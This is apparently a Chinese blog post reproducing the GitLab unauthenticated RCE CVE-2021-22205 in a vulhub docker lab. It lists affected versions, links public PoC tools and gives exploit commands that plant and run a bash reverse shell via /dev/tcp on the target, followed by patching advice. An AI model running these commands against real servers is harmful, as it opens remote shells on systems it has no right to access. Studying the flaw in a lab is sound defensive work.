CVE-2021-22205 GitLab 未授权RCE


CVE-2021-22205 GitLab 未授权RCE

漏洞简介:

GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。

GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执

参考链接:

影响版本:

该漏洞影响以下GitLab企业版和社区版:
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <=GitLab(CE/EE)< 13.10.3
本文复现版本:Gitlab CE 13.10.1

漏洞环境

建议内存>8

执行如下命令启动一个GitLab 13.10.1版本服务器:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d
环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。

GitLab首页

漏洞复现

漏洞POC

https://github.com/inspiringz/CVE-2021-22205/

https://github.com/Al1ex/CVE-2021-22205

漏洞验证

python CVE-2021-22205.py -v true -t http://Your IP:Port

漏洞探测

命令执行:

dnslog验证

反弹shell:

python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
这条语句意思是代表,对写入成功的sh脚本加执行权限
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
这条语句意思是代表,运行反弹shell脚本

反弹shell写入1.sh脚本

写入成功验证

修改脚本权限

验证修改权限成功

反弹shell

大部分权限都是git这里需要提权

修复方案

1、及时升级GitLab至最新安全版本

2、配置访问控制策略,避免受影响的GitLab暴露在公


文章作者: Taoing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Taoing !
  目录